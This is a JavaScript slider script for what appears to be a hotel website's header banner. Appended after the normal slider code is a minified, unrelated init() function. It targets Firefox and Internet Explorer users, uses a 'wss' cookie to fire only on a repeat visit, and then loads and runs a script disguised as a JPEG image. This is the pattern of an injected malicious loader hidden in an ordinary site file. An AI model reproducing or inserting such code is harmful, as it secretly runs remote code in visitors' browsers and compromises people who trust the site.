var active = 1;

$(function() {
	
	$('.slide-nav ul li a').click(function() {
		$('.slide-nav ul li').removeClass("active");
		switch_header($(this).text());
	});
	
	setTimeout(periodic_switch, 3000);
	
});

function periodic_switch() {
	$('.slide-nav ul li').removeClass("active");
	
	if(active < 4) {
		switch_header(Math.abs(active)+1);
	} else {
		switch_header(1);
	}
	
	setTimeout(periodic_switch, 3000);
}

function switch_header(to) {
	
	$('.slide-nav ul li#' + to).addClass("active");
	
	if(to < active) {
	
		for(i=active; i >= active - (active - to); i--) {
		
			$('.banner img[rel="' + i + '"]').fadeIn();
			
		}
		
		active = to;
		
	}
	
	if(to > active) {
		
		for(i=0; i < to; i++) {
		
			$('.banner img[rel="' + i + '"]').fadeOut();
			
		}
		
		active = to;
		
	}
		
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/heading-images/welkom-bij-hotel-van-walsum_8.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
